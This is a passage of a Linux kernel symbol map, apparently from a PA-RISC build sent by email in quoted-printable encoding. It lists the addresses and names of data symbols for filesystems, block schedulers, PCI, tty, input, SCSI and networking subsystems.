1037a604 d devpts_fs_type=0A=
1037a624 d devpts_sops=0A=
1037a674 d config=0A=
1037a688 D reiserfs_special_inode_operations=0A=
1037a6dc D reiserfs_symlink_inode_operations=0A=
1037a730 D reiserfs_dir_inode_operations=0A=
1037a784 D reiserfs_address_space_operations=0A=
1037a7b8 D reiserfs_file_inode_operations=0A=
1037a80c D reiserfs_file_operations=0A=
1037a878 D reiserfs_dir_operations=0A=
1037a8e4 D reiserfs_fs_type=0A=
1037a904 D reiserfs_default_io_size=0A=
1037a908 d reiserfs_export_ops=0A=
1037a920 d reiserfs_sops=0A=
1037a970 D item_ops=0A=
1037a9b0 d errcatch_ops=0A=
1037a9dc d direntry_ops=0A=
1037aa08 d direct_ops=0A=
1037aa34 d indirect_ops=0A=
1037aa60 d stat_data_ops=0A=
1037aa8c D ext3_dir_operations=0A=
1037aaf8 d ext3_filetype_table=0A=
1037ab00 D ext3_file_inode_operations=0A=
1037ab54 D ext3_file_operations=0A=
1037abc0 d ext3_journalled_aops=0A=
1037abf4 d ext3_writeback_aops=0A=
1037ac28 d ext3_ordered_aops=0A=
1037ac5c D ext3_special_inode_operations=0A=
1037acb0 D ext3_dir_inode_operations=0A=
1037ad04 d ext3_type_by_mode=0A=
1037ad14 d ext3_fs_type=0A=
1037ad34 d ext3_export_ops=0A=
1037ad4c d ext3_sops=0A=
1037ad9c d tokens=0A=
1037af14 D ext3_fast_symlink_inode_operations=0A=
1037af68 D ext3_symlink_inode_operations=0A=
1037afbc d ramfs_fs_type=0A=
1037afdc d rootfs_fs_type=0A=
1037affc d ramfs_ops=0A=
1037b04c d ramfs_dir_inode_operations=0A=
1037b0a0 d ramfs_backing_dev_info=0A=
1037b0bc D ramfs_file_inode_operations=0A=
1037b110 D ramfs_file_operations=0A=
1037b17c D ramfs_aops=0A=
1037b1b0 d iso9660_fs_type=0A=
1037b1d0 d isofs_dentry_ops=0A=
1037b230 d isofs_sops=0A=
1037b280 d isofs_aops=0A=
1037b2b4 d tokens=0A=
1037b3c4 D isofs_dir_inode_operations=0A=
1037b418 D isofs_dir_operations=0A=
1037b484 D isofs_symlink_aops=0A=
1037b4b8 D isofs_export_ops=0A=
1037b4d0 d default_table=0A=
1037b4f0 d charset2upper=0A=
1037b5f0 d charset2lower=0A=
1037b6f0 d charset2uni=0A=
1037b8f0 d page_uni2charset=0A=
1037bcf0 d page00=0A=
1037bdf0 d tables=0A=
1037bdf4 d utf8_table=0A=
1037be80 d sysvipc_proc_fops=0A=
1037beec d sysvipc_proc_seqops=0A=
1037befc D msg_ctlmni=0A=
1037bf00 D msg_ctlmnb=0A=
1037bf04 D msg_ctlmax=0A=
1037bf08 D sem_ctls=0A=
1037bf18 D shm_ctlmni=0A=
1037bf1c D shm_ctlall=0A=
1037bf20 D shm_ctlmax=0A=
1037bf24 d shm_vm_ops=0A=
1037bf34 d shm_file_operations=0A=
1037bfa0 d mqueue_fs_type=0A=
1037bfc0 d mq_sysctl_root=0A=
1037c018 d mq_sysctl_dir=0A=
1037c070 d mq_sysctls=0A=
1037c120 d msg_maxsize_limit_max=0A=
1037c124 d msg_maxsize_limit_min=0A=
1037c128 d msgsize_max=0A=
1037c12c d msg_max_limit_max=0A=
1037c130 d msg_max_limit_min=0A=
1037c134 d msg_max=0A=
1037c138 d queues_max=0A=
1037c13c d mqueue_super_ops=0A=
1037c18c d mqueue_dir_inode_operations=0A=
1037c1e0 d mqueue_file_operations=0A=
1037c24c d oflag2acc___0=0A=
1037c258 D crypto_alg_sem=0A=
1037c264 D crypto_alg_list=0A=
1037c26c D crypto_km_types=0A=
1037c27c d proc_crypto_ops=0A=
1037c2e8 d crypto_seq_ops=0A=
1037c2f8 d alg=0A=
1037c3bc d alg=0A=
1037c480 d alg=0A=
1037c544 d elv_list=0A=
1037c54c d queue_ktype=0A=
1037c558 d default_attrs=0A=
1037c570 d queue_iosched_entry=0A=
1037c584 d queue_max_sectors_entry=0A=
1037c598 d queue_max_hw_sectors_entry=0A=
1037c5ac d queue_ra_entry=0A=
1037c5c0 d queue_requests_entry=0A=
1037c5d4 d queue_sysfs_ops=0A=
1037c5dc d congestion_wqh=0A=
1037c5ec D diskstats_op=0A=
1037c5fc D partitions_op=0A=
1037c60c d block_subsys=0A=
1037c660 d block_uevent_ops=0A=
1037c66c d ktype_block=0A=
1037c678 d default_attrs=0A=
1037c694 d disk_attr_stat=0A=
1037c6a8 d disk_attr_size=0A=
1037c6bc d disk_attr_removable=0A=
1037c6d0 d disk_attr_range=0A=
1037c6e4 d disk_attr_dev=0A=
1037c6f8 d disk_attr_uevent=0A=
1037c70c d disk_sysfs_ops=0A=
1037c714 d block_subsys_sem=0A=
1037c720 d cmd_type___1=0A=
1037c820 d elevator_noop=0A=
1037c884 d iosched_as=0A=
1037c8e8 d as_ktype=0A=
1037c8f4 d default_attrs=0A=
1037c910 d as_write_batchexpire_entry=0A=
1037c924 d as_read_batchexpire_entry=0A=
1037c938 d as_anticexpire_entry=0A=
1037c94c d as_writeexpire_entry=0A=
1037c960 d as_readexpire_entry=0A=
1037c974 d as_est_entry=0A=
1037c988 d as_sysfs_ops=0A=
1037c990 d iosched_deadline=0A=
1037c9f4 d deadline_ktype=0A=
1037ca00 d default_attrs=0A=
1037ca18 d deadline_fifobatch_entry=0A=
1037ca2c d deadline_frontmerges_entry=0A=
1037ca40 d deadline_writesstarved_entry=0A=
1037ca54 d deadline_writeexpire_entry=0A=
1037ca68 d deadline_readexpire_entry=0A=
1037ca7c d deadline_sysfs_ops=0A=
1037ca84 d iosched_cfq=0A=
1037cae8 d cfq_ktype=0A=
1037caf4 d default_attrs=0A=
1037cb24 d cfq_max_depth_entry=0A=
1037cb38 d cfq_slice_idle_entry=0A=
1037cb4c d cfq_slice_async_rq_entry=0A=
1037cb60 d cfq_slice_async_entry=0A=
1037cb74 d cfq_slice_sync_entry=0A=
1037cb88 d cfq_back_penalty_entry=0A=
1037cb9c d cfq_back_max_entry=0A=
1037cbb0 d cfq_fifo_expire_async_entry=0A=
1037cbc4 d cfq_fifo_expire_sync_entry=0A=
1037cbd8 d cfq_queued_entry=0A=
1037cbec d cfq_quantum_entry=0A=
1037cc00 d cfq_sysfs_ops=0A=
1037cc08 d cfq_slice_idle=0A=
1037cc0c d cfq_slice_async=0A=
1037cc10 D _ctype=0A=
1037cd10 D per_cpu__radix_tree_preloads=0A=
1037cd30 d warn___1=0A=
1037cd34 d crc32c_table=0A=
1037d134 D iomap_ops=0A=
1037d158 D class_device_attr_cpuaffinity=0A=
1037d16c D pci_devices=0A=
1037d174 D pci_root_buses=0A=
1037d17c d pcibus_class=0A=
1037d208 D pci_cache_line_size=0A=
1037d20c D pci_bus_type=0A=
1037d33c d pci_compat_driver=0A=
1037d400 d pci_driver_kobj_type=0A=
1037d40c d pci_driver_sysfs_ops=0A=
1037d414 d driver_attr_new_id=0A=
1037d428 D pci_bus_lock=0A=
1037d428 D pci_dev_attrs=0A=
1037d4f0 d pcie_config_attr=0A=
1037d510 d pci_config_attr=0A=
1037d530 d proc_bus_pci_dev_operations=0A=
1037d59c d proc_bus_pci_devices_op=0A=
1037d5ac d proc_pci_operations=0A=
1037d618 d proc_pci_op=0A=
1037d628 d proc_bus_pci_operations=0A=
1037d698 d iosapic_interrupt_type=0A=
1037d6b8 d sba_driver=0A=
1037d758 d sba_tbl=0A=
1037d788 d sba_ops=0A=
1037d7b8 d astro_rev___1=0A=
1037d7c4 d ike_rev___2=0A=
1037d7d0 d pluto_rev___3=0A=
1037d7dc d reo_rev___4=0A=
1037d7e8 D lba_bios_ops=0A=
1037d7f0 d lba_driver=0A=
1037d890 d lba_tbl=0A=
1037d8b0 d lba_astro_port_ops=0A=
1037d8c8 d mercury_cfg_ops=0A=
1037d8d0 d elroy_cfg_ops=0A=
1037d8d8 d ccio_driver=0A=
1037d978 d ccio_tbl=0A=
1037d990 d ccio_ops=0A=
1037d9c0 d hint_lookup=0A=
1037d9cc d gsc_asic_interrupt_type=0A=
1037d9ec d irq___0=0A=
1037d9f0 D hppb_card_head=0A=
1037da14 d hppb_driver=0A=
1037dab4 d hppb_tbl=0A=
1037dac4 D dino_bios_ops=0A=
1037dacc D dino_port_ops=0A=
1037dae4 d dino_interrupt_type=0A=
1037db04 d dino_driver=0A=
1037dba4 d dino_tbl=0A=
1037dbd4 d dino_cfg_ops=0A=
1037dbdc d cujo_vers=0A=
1037dbe4 d dino_vers=0A=
1037dbf4 D lasi_driver=0A=
1037dc94 d lasi_tbl=0A=
1037dca4 D asp_driver=0A=
1037dd44 d asp_tbl=0A=
1037dd54 D wax_driver=0A=
1037ddf4 d wax_tbl=0A=
1037de04 d led_task=0A=
1037de34 d led_notifier=0A=
1037de40 d mask___9=0A=
1037de44 d blockp___10=0A=
1037de58 d paths_subsys=0A=
1037deac d ktype_pdcspath=0A=
1037deb8 d paths_subsys_attrs=0A=
1037dec4 d paths_attr_layer=0A=
1037ded8 d paths_attr_hwpath=0A=
1037deec d pdcspath_attr_ops=0A=
1037def4 d pdcs_subsys_attrs=0A=
1037df10 d pdcs_attr_fastsize=0A=
1037df24 d pdcs_attr_osid=0A=
1037df38 d pdcs_attr_timer=0A=
1037df4c d pdcs_attr_autosearch=0A=
1037df60 d pdcs_attr_autoboot=0A=
1037df74 d pdcs_attr_size=0A=
1037df88 d stable_subsys=0A=
1037dfe0 d pdcspath_entry_primary=0A=
1037e048 d pdcspath_entries=0A=
1037e060 d pdcspath_entry_keyboard=0A=
1037e0c8 d pdcspath_entry_console=0A=
1037e130 d pdcspath_entry_alternative=0A=
1037e198 D power_tasklet=0A=
1037e1ac d parisc_panic_block=0A=
1037e1b8 d poweroff_work=0A=
1037e1e8 d msg___0=0A=
1037e1fc d sti_con=0A=
1037e260 d pci_sti_driver=0A=
1037e324 d sti_pci_tbl=0A=
1037e3cc d pa_sti_driver=0A=
1037e46c d sti_pa_tbl=0A=
1037e484 d fonts=0A=
1037e488 d fbcon_is_default=0A=
1037e48c d last_fb_vc=0A=
1037e490 d fbcon_softback_size=0A=
1037e494 d info_idx=0A=
1037e498 d fbcon_event_notifier=0A=
1037e4a4 d logo_shown=0A=
1037e4a8 d palette_cmap=0A=
1037e4c0 d fb_fops=0A=
1037e52c d blue16=0A=
1037e54c d green16=0A=
1037e56c d red16=0A=
1037e58c d blue8=0A=
1037e59c d green8=0A=
1037e5ac d red8=0A=
1037e5bc d blue4=0A=
1037e5c4 d green4=0A=
1037e5cc d red4=0A=
1037e5d4 d blue2=0A=
1037e5d8 d green2=0A=
1037e5dc d red2=0A=
1037e5e0 d default_16_colors=0A=
1037e5f8 d default_8_colors=0A=
1037e610 d default_4_colors=0A=
1037e628 d default_2_colors=0A=
1037e640 d class_device_attrs=0A=
1037e76c d fb_cvt_vbi_tab=0A=
1037e78c d cfb_tab32=0A=
1037e794 d cfb_tab16=0A=
1037e7a4 d cfb_tab8=0A=
1037e7e4 d stifb_ops=0A=
1037e83c d kmsg_fops=0A=
1037e8a8 d full_fops=0A=
1037e914 d zero_fops=0A=
1037e980 d port_fops=0A=
1037e9ec d null_fops=0A=
1037ea58 d kmem_fops=0A=
1037eac4 d mem_fops=0A=
1037eb30 d memory_fops=0A=
1037eb9c d zero_bdi=0A=
1037ebb8 D random_table=0A=
1037ecec d max_write_thresh=0A=
1037ecf0 d random_write_wakeup_thresh=0A=
1037ecf4 d max_read_thresh=0A=
1037ecf8 d min_read_thresh=0A=
1037ecfc d random_read_wakeup_thresh=0A=
1037ed00 d input_pool=0A=
1037ed20 d poolinfo_table=0A=
1037ed50 d sysctl_poolsize=0A=
1037ed54 D urandom_fops=0A=
1037edc0 D random_fops=0A=
1037ee2c d nonblocking_pool=0A=
1037ee4c d blocking_pool=0A=
1037ee6c d random_write_wait=0A=
1037ee74 d random_read_wait=0A=
1037ee7c d rekey_work=0A=
1037eeac D tty_sem=0A=
1037eeb8 D tty_drivers=0A=
1037eec0 D tty_std_termios=0A=
1037eee4 d ptmx_fops=0A=
1037ef50 d console_fops=0A=
1037efbc d tty_fops=0A=
1037f028 d hung_up_tty_fops=0A=
1037f094 d tty_ldisc_wait=0A=
1037f09c d allocated_ptys_lock=0A=
1037f0a8 d ptychar=0A=
1037f0bc d baud_table=0A=
1037f138 d n_baud_table=0A=
1037f13c D tty_ldisc_N_TTY=0A=
1037f184 D pty_table=0A=
1037f208 d pty_limit_max=0A=
1037f20c D pty_limit=0A=
1037f210 d pty_ops=0A=
1037f26c d misc_fops=0A=
1037f2d8 d misc_proc_fops=0A=
1037f344 d misc_seq_ops=0A=
1037f354 d misc_list=0A=
1037f35c d misc_sem=0A=
1037f368 d vt_activate_queue=0A=
1037f370 d vcs_fops=0A=
1037f3dc d translations=0A=
1037fbdc D dfont_unitable=0A=
1037fe30 D dfont_unicount=0A=
1037ff30 d sel_start=0A=
1037ff34 d inwordLut=0A=
1037ff54 D keyboard_tasklet=0A=
1037ff68 D shift_state=0A=
1037ff6c d kbd_handler=0A=
1037ffa0 d kbd_ids=0A=
10380120 d ledstate=0A=
10380124 d kbd=0A=
10380128 d k_handler=0A=
10380168 d npadch=0A=
1038016c d fn_handler=0A=
103801bc d x86_keycodes=0A=
103803bc d kd_mksound_timer=0A=
103803d4 d buf___1=0A=
103803d8 d ret_diacr___2=0A=
103803e0 d cur_chars___0=0A=
103803e4 d pad_chars___3=0A=
103803e8 d app_map___4=0A=
103803ec D con_buf_sem=0A=
103803f8 D default_blu=0A=
10380438 D default_grn=0A=
10380478 D default_red=0A=
103804b8 D color_table=0A=
103804c8 D want_console=0A=
103804cc d vt_console_driver=0A=
103804f8 d blankinterval=0A=
103804fc d console_work=0A=
1038052c d con_ops=0A=
10380588 d old_offset___14=0A=
1038058c D accent_table_size=0A=
10380590 D accent_table=0A=
10380890 D func_table=0A=
10380c90 D funcbufleft=0A=
10380c94 D funcbufsize=0A=
10380c98 D funcbufptr=0A=
10380c9c D func_buf=0A=
10380d38 D keymap_count=0A=
10380d3c D key_maps=0A=
1038113c D ctrl_alt_map=0A=
1038133c D alt_map=0A=
1038153c D shift_ctrl_map=0A=
1038173c D ctrl_map=0A=
1038193c D altgr_map=0A=
10381b3c D shift_map=0A=
10381d3c D plain_map=0A=
10381f3c d rtc_gen_dev=0A=
10381f98 d gen_rtc_fops=0A=
10382004 d days_in_mo=0A=
10382010 d gen_rtc_wait=0A=
10382018 d serio_driver_attrs=0A=
10382054 d serio_device_attrs=0A=
103820b8 d serio_bus=0A=
103821e8 d serio_sem=0A=
103821f4 d serio_id_attr_group=0A=
103821fc d serio_device_id_attrs=0A=
10382210 d dev_attr_extra=0A=
10382224 d dev_attr_id=0A=
10382238 d dev_attr_proto=0A=
1038224c d dev_attr_type=0A=
10382260 d serio_event_list=0A=
10382268 d serio_wait=0A=
10382270 d serio_list=0A=
10382278 d parisc_ps2_driver=0A=
10382318 d gscps2_device_tbl=0A=
10382328 d ps2port_list=0A=
10382330 d keyboard_ids___1=0A=
10382338 D devices_subsys=0A=
1038238c d device_uevent_ops=0A=
10382398 d ktype_device=0A=
103823a4 d dev_sysfs_ops=0A=
103823ac D platform_notify_remove=0A=
103823b0 D platform_notify=0A=
103823b4 d system_subsys=0A=
10382408 d ktype_sysdev=0A=
10382414 d sysfs_ops=0A=
1038241c d sysdev_drivers=0A=
10382424 d sysdev_drivers_lock=0A=
10382430 D bus_subsys=0A=
10382484 d ktype_bus=0A=
10382490 d bus_sysfs_ops=0A=
10382498 d ktype_driver=0A=
103824a4 d driver_sysfs_ops=0A=
103824ac d driver_attr_unbind=0A=
103824c0 d driver_attr_bind=0A=
103824d4 d class_obj_subsys=0A=
10382528 d class_uevent_ops=0A=
10382534 d ktype_class_device=0A=
10382540 d class_dev_sysfs_ops=0A=
10382548 d class_subsys=0A=
1038259c d ktype_class=0A=
103825a8 d class_sysfs_ops=0A=
103825b0 D platform_bus_type=0A=
103826e0 D platform_bus=0A=
103827e8 D cpu_sysdev_class=0A=
10382844 d firmware_subsys=0A=
10382898 d dev_attr_pools=0A=
103828ac d pools_lock=0A=
103828b8 d attribute_container_mutex=0A=
103828c4 d class_attr_timeout=0A=
103828d8 d firmware_class=0A=
10382964 d loading_timeout=0A=
10382968 d fw_lock=0A=
10382974 d class_device_attr_loading=0A=
10382988 d firmware_attr_data_tmpl=0A=
103829a8 D loopback_dev=0A=
10382bec d loopback_ethtool_ops=0A=
10382c88 d __param_str_scsi_logging_level=0A=
10382ca4 d host_cmd_pool_mutex=0A=
10382cb0 d scsi_cmd_pool=0A=
10382cc4 d scsi_cmd_dma_pool=0A=
10382cd8 d shost_class=0A=
10382d64 d cdb_byte0_names=0A=
10383064 d additional=0A=
103840cc d stu_command___3=0A=
103840d4 d generic_sense___1=0A=
103840dc d scsi_sg_pools=0A=
1038412c d scsi_inq_timeout=0A=
10384130 d __param_str_inq_timeout=0A=
10384148 d max_scsi_report_luns=0A=
1038414c d __param_str_max_report_luns=0A=
10384168 d max_scsi_luns=0A=
1038416c d __param_str_max_luns=0A=
10384180 d scsi_null_device_strs=0A=
10384184 D blank_transport_template=0A=
10384224 D scsi_bus_type=0A=
10384354 d sdev_class=0A=
103843e0 d scsi_sysfs_shost_attrs=0A=
10384404 d class_device_attr_state=0A=
10384418 d class_device_attr_scan=0A=
1038442c d class_device_attr_proc_name=0A=
10384440 d class_device_attr_unchecked_isa_dma=0A=
10384454 d class_device_attr_sg_tablesize=0A=
10384468 d class_device_attr_cmd_per_lun=0A=
1038447c d class_device_attr_host_busy=0A=
10384490 d class_device_attr_unique_id=0A=
103844a4 d scsi_sysfs_sdev_attrs=0A=
103844e8 d dev_attr_ioerr_cnt=0A=
103844fc d dev_attr_iodone_cnt=0A=
10384510 d dev_attr_iorequest_cnt=0A=
10384524 d dev_attr_iocounterbits=0A=
10384538 d dev_attr_timeout=0A=
1038454c d dev_attr_state=0A=
10384560 d dev_attr_delete=0A=
10384574 d dev_attr_rescan=0A=
10384588 d dev_attr_rev=0A=
1038459c d dev_attr_model=0A=
103845b0 d dev_attr_vendor=0A=
103845c4 d dev_attr_scsi_level=0A=
103845d8 d dev_attr_type=0A=
103845ec d dev_attr_queue_type=0A=
10384600 d dev_attr_queue_depth=0A=
10384614 d dev_attr_device_blocked=0A=
10384628 d sdev_attr_queue_type_rw=0A=
1038463c d sdev_attr_queue_depth_rw=0A=
10384650 d __param_str_default_dev_flags=0A=
1038466c d __param_string_dev_flags=0A=
10384674 d __param_str_dev_flags=0A=
10384688 d scsi_dev_info_list=0A=
10384690 d scsi_root_table=0A=
103846e8 d scsi_dir_table=0A=
10384740 d scsi_table=0A=
10384798 d proc_scsi_operations=0A=
10384804 d global_host_template_mutex=0A=
10384810 d spi_host_class=0A=
103848a8 d spi_device_class=0A=
10384968 d spi_transport_class=0A=
10384a00 d class_device_attr_signalling=0A=
10384a14 d class_device_attr_revalidate=0A=
10384a28 d class_device_attr_hold_mcs=0A=
10384a3c d class_device_attr_pcomp_en=0A=
10384a50 d class_device_attr_rti=0A=
10384a64 d class_device_attr_rd_strm=0A=
10384a78 d class_device_attr_wr_flow=0A=
10384a8c d class_device_attr_qas=0A=
10384aa0 d class_device_attr_dt=0A=
10384ab4 d class_device_attr_iu=0A=
10384ac8 d class_device_attr_max_width=0A=
10384adc d class_device_attr_width=0A=
10384af0 d class_device_attr_max_offset=0A=
10384b04 d class_device_attr_offset=0A=
10384b18 d class_device_attr_min_period=0A=
10384b2c d class_device_attr_period=0A=
10384b40 d signal_types=0A=
10384b60 d sym_fw1=0A=
10384b90 d sym_fw1z_ofs=0A=
10384b94 d sym_fw1z_scr=0A=
10384bc0 d sym_fw1b_ofs=0A=
10384bec d sym_fw1b_scr=0A=
10384f60 d sym_fw1a_ofs=0A=
10384f90 d sym_fw1a_scr=0A=
10385ccc d sym_fw2=0A=
10385cfc d sym_fw2z_ofs=0A=
10385d00 d sym_fw2z_scr=0A=
10385d20 d sym_fw2b_ofs=0A=
10385d4c d sym_fw2b_scr=0A=
10386230 d sym_fw2a_ofs=0A=
10386260 d sym_fw2a_scr=0A=
10386e30 d __param_str_safe=0A=
10386e40 d __param_str_excl=0A=
10386e50 d __param_str_nvram=0A=
10386e60 d __param_str_settle=0A=
10386e74 d __param_str_debug=0A=
10386e84 d __param_str_verb=0A=
10386e94 d __param_str_hostid=0A=
10386ea8 d __param_str_buschk=0A=
10386ebc d __param_str_irqm=0A=
10386ecc d __param_str_diff=0A=
10386edc d __param_str_led=0A=
10386eec d __param_str_burst=0A=
10386efc d __param_string_tag_ctrl=0A=
10386f04 d __param_str_tag_ctrl=0A=
10386f18 d __param_str_cmd_per_lun=0A=
10386f30 D sym_debug_flags=0A=
10386f34 D sym_driver_setup=0A=
10386fc4 d sym2_driver=0A=
10387088 d sym2_id_table=0A=
10387280 d sym2_transport_functions=0A=
103872e8 d sym2_template=0A=
10387378 d div_10M=0A=
10387394 d sym_dev_table=0A=
103874b4 d mp0=0A=
1038756c d Symbios_trailer___0=0A=
10387574 d NCR_700_transport_functions=0A=
103875dc d NCR_700_SBCL_to_phase=0A=
103875fc d NCR_700_SBCL_bits=0A=
1038761c d NCR_700_condition=0A=
10387648 d A_SGScriptStartAddress_used=0A=
10387650 d A_CommandCount_used=0A=
10387654 d A_CommandAddress_used=0A=
10387658 d NCR_700_fatal_messages=0A=
10387668 d NCR_700_phase=0A=
10387688 d NCR_700_SDTR_msg=0A=
10387690 d A_MessageCount_used=0A=
10387694 d A_ReceiveMsgAddress_used=0A=
103876d4 d A_StatusAddress_used=0A=
103876d8 d A_MessageLocation_used=0A=
103876dc d LABELPATCHES=0A=
103877bc d PATCHES=0A=
103877c0 d SCRIPT=0A=
10387c68 d NCR_700_dev_attrs=0A=
10387c70 d NCR_700_active_tags_attr=0A=
10387c84 d lasi700_driver=0A=
10387d24 d lasi700_ids=0A=
10387d3c d lasi700_template=0A=
10387dcc D class_device_attr_default_compression=0A=
10387de0 D class_device_attr_default_density=0A=
10387df4 D class_device_attr_default_blksize=0A=
10387e08 D class_device_attr_defined=0A=
10387e1c d try_wdio=0A=
10387e20 d __param_str_try_wdio=0A=
10387e2c d try_rdio=0A=
10387e30 d __param_str_try_rdio=0A=
10387e3c d try_direct_io=0A=
10387e40 d __param_str_try_direct_io=0A=
10387e54 d __param_str_max_sg_segs=0A=
10387e64 d __param_str_buffer_kbs=0A=
10387e74 d st_max_sg_segs=0A=
10387e78 d st_fixed_buffer_size=0A=
10387e7c d st_template=0A=
10387f1c d verstr=0A=
10387f20 d st_ref_mutex=0A=
10387f2c d st_formats=0A=
10387f6c d st_fops=0A=
10387fd8 d reject_list=0A=
10388038 d driver_attr_version=0A=
1038804c d driver_attr_max_sg_segs=0A=
10388060 d driver_attr_fixed_buffer_size=0A=
10388074 d driver_attr_try_direct_io=0A=
10388088 d sd_template=0A=
10388128 d sd_ref_mutex=0A=
10388134 d sd_fops=0A=
1038815c d sr_template=0A=
103881fc d sr_ref_mutex=0A=
10388208 d sr_dops=0A=
10388248 d sr_bdops=0A=
10388270 d loadmech___0=0A=
10388290 d __param_str_xa_test=0A=
103882a0 d __param_str_allow_dio=0A=
103882b0 d def_reserved_size=0A=
103882b4 d __param_str_def_reserved_size=0A=
103882cc D sg_big_buff=0A=
103882d0 d sg_interface=0A=
103882e4 d sg_fops=0A=
10388350 d sg_mmap_vm_ops=0A=
10388360 d sg_version_num=0A=
10388364 d allow_ops=0A=
10388378 d sg_proc_leaf_arr=0A=
103883b0 d version_fops=0A=
1038841c d devstrs_fops=0A=
10388488 d dev_fops=0A=
103884f4 d devhdr_fops=0A=
10388560 d dressz_fops=0A=
103885cc d debug_fops=0A=
10388638 d adio_fops=0A=
103886a4 d sg_proc_sg_dirname=0A=
103886ac d debug_seq_ops=0A=
103886bc d dev_seq_ops=0A=
103886cc d devstrs_seq_ops=0A=
103886dc d sg_version_date=0A=
103886e0 d mrw_format_restart=0A=
103886e4 d __param_str_mrw_format_restart=0A=
10388700 d __param_str_check_media_type=0A=
10388718 d lockdoor=0A=
1038871c d __param_str_lockdoor=0A=
1038872c d __param_str_autoeject=0A=
1038873c d autoclose=0A=
10388740 d __param_str_autoclose=0A=
10388750 d __param_str_debug=0A=
1038875c d cdrom_root_table=0A=
103887b4 d cdrom_cdrom_table=0A=
1038880c d cdrom_table=0A=
10388940 d mrw_format_status=0A=
10388950 d mrw_address_space=0A=
10388958 D input_class=0A=
103889e4 d input_fops=0A=
10388a50 d input_handler_list=0A=
10388a58 d input_devices_poll_wait=0A=
10388a60 d input_dev_list=0A=
10388a68 d input_dev_attr_group=0A=
10388a70 d input_dev_attrs=0A=
10388a84 d class_device_attr_modalias=0A=
10388a98 d class_device_attr_uniq=0A=
10388aac d class_device_attr_phys=0A=
10388ac0 d class_device_attr_name=0A=
10388ad4 d input_dev_id_attr_group=0A=
10388adc d input_dev_id_attrs=0A=
10388af0 d class_device_attr_version=0A=
10388b04 d class_device_attr_product=0A=
10388b18 d class_device_attr_vendor=0A=
10388b2c d class_device_attr_bustype=0A=
10388b40 d input_dev_caps_attr_group=0A=
10388b48 d input_dev_caps_attrs=0A=
10388b70 d class_device_attr_sw=0A=
10388b84 d class_device_attr_ff=0A=
10388b98 d class_device_attr_snd=0A=
10388bac d class_device_attr_led=0A=
10388bc0 d class_device_attr_msc=0A=
10388bd4 d class_device_attr_abs=0A=
10388be8 d class_device_attr_rel=0A=
10388bfc d class_device_attr_key=0A=
10388c10 d class_device_attr_ev=0A=
10388c24 d tap_time=0A=
10388c28 d __param_str_tap_time=0A=
10388c3c d yres=0A=
10388c40 d __param_str_yres=0A=
10388c50 d xres=0A=
10388c54 d __param_str_xres=0A=
10388c64 d psaux_mouse=0A=
10388cc0 d mousedev_fops=0A=
10388d2c d mousedev_handler=0A=
10388d60 d mousedev_ids=0A=
10388fe0 d mousedev_imps_seq=0A=
10388fe8 d mousedev_imex_seq=0A=
10388ff0 d evdev_handler=0A=
10389024 d evdev_ids=0A=
10389124 d evdev_fops=0A=
10389190 d __param_str_extra=0A=
1038919c d __param_str_scroll=0A=
103891ac d atkbd_softraw=0A=
103891b0 d __param_str_softraw=0A=
103891c0 d __param_str_softrepeat=0A=
103891d4 d __param_str_reset=0A=
103891e0 d atkbd_set=0A=
103891e4 d __param_str_set=0A=
103891f0 d atkbd_drv=0A=
103892a4 d atkbd_serio_ids=0A=
103892b4 d atkbd_attr_softraw=0A=
103892c8 d atkbd_attr_softrepeat=0A=
103892dc d atkbd_attr_set=0A=
103892f0 d atkbd_attr_scroll=0A=
10389304 d atkbd_attr_extra=0A=
10389318 d atkbd_set3_keycode=0A=
10389518 d atkbd_scroll_keys=0A=
10389528 d atkbd_unxlate_table=0A=
103895a8 d atkbd_set2_keycode=0A=
103897a8 D sysctl_somaxconn=0A=
103897ac D bad_sock_fops=0A=
10389818 d sock_fs_type=0A=
10389838 d sockfs_ops=0A=
10389888 d nargs=0A=
1038989c d dlci_ioctl_mutex=0A=
103898a8 d vlan_ioctl_mutex=0A=
103898b4 d br_ioctl_mutex=0A=
103898c0 d socket_file_ops=0A=
1038992c d sockfs_dentry_operations=0A=
10389944 D sysctl_optmem_max=0A=
10389948 D sysctl_rmem_default=0A=
1038994c D sysctl_wmem_default=0A=
10389950 D sysctl_rmem_max=0A=
10389954 D sysctl_wmem_max=0A=
10389958 d proto_seq_fops=0A=
103899c4 d proto_seq_ops=0A=
103899d4 d proto_list=0A=
103899dc D sysctl_max_syn_backlog=0A=
103899e0 D core_table=0A=
10389bf0 D per_cpu__netdev_rx_stat=0A=
10389c00 D weight_p=0A=
10389c04 D netdev_budget=0A=
10389c08 D netdev_max_backlog=0A=
10389c0c D per_cpu__softnet_data=0A=
10389e6c D dev_base_lock=0A=
10389e6c d dev_boot_phase=0A=
10389e70 d softnet_seq_fops=0A=
10389edc d dev_seq_fops=0A=
10389f48 d dev_seq_ops=0A=
10389f58 d softnet_seq_ops=0A=
10389f68 d dev_tail=0A=
10389f6c d net_todo_list=0A=
10389f74 d net_todo_run_mutex=0A=
10389f80 d dev_mc_seq_fops=0A=
10389fec d dev_mc_seq_ops=0A=
10389ffc d dst_dev_notifier=0A=
1038a008 d dst_gc_timer=0A=
1038a020 d dst_gc_timer_inc=0A=
1038a024 d neigh_sysctl_template=0A=
1038a4cc d neigh_stat_seq_fops=0A=
1038a538 d neigh_stat_seq_ops=0A=
1038a548 D rtnl_sem=0A=
1038a554 d link_rtnetlink_table=0A=
1038a6f4 d rtnetlink_dev_notifier=0A=
1038a700 D net_msg_burst=0A=
1038a704 D net_msg_cost=0A=
1038a708 d linkwatch_work=0A=
1038a738 d lweventlist=0A=
1038a740 d net_class=0A=
1038a7cc d net_class_attributes=0A=
1038a8d0 d wireless_group=0A=
1038a8d8 d wireless_attrs=0A=
1038a904 d class_device_attr_beacon=0A=
1038a918 d class_device_attr_misc=0A=
1038a92c d class_device_attr_retries=0A=
1038a940 d class_device_attr_fragment=0A=
1038a954 d class_device_attr_crypt=0A=
1038a968 d class_device_attr_nwid=0A=
1038a97c d class_device_attr_noise=0A=
1038a990 d class_device_attr_level=0A=
1038a9a4 d class_device_attr_link=0A=
1038a9b8 d class_device_attr_status=0A=
1038a9cc d netstat_group=0A=
1038a9d4 d netstat_attrs=0A=
1038aa34 d class_device_attr_tx_compressed=0A=
1038aa48 d class_device_attr_rx_compressed=0A=
1038aa5c d class_device_attr_tx_window_errors=0A=
1038aa70 d class_device_attr_tx_heartbeat_errors=0A=
1038aa84 d class_device_attr_tx_fifo_errors=0A=
1038aa98 d class_device_attr_tx_carrier_errors=0A=
1038aaac d class_device_attr_tx_aborted_errors=0A=
1038aac0 d class_device_attr_rx_missed_errors=0A=
1038aad4 d class_device_attr_rx_fifo_errors=0A=
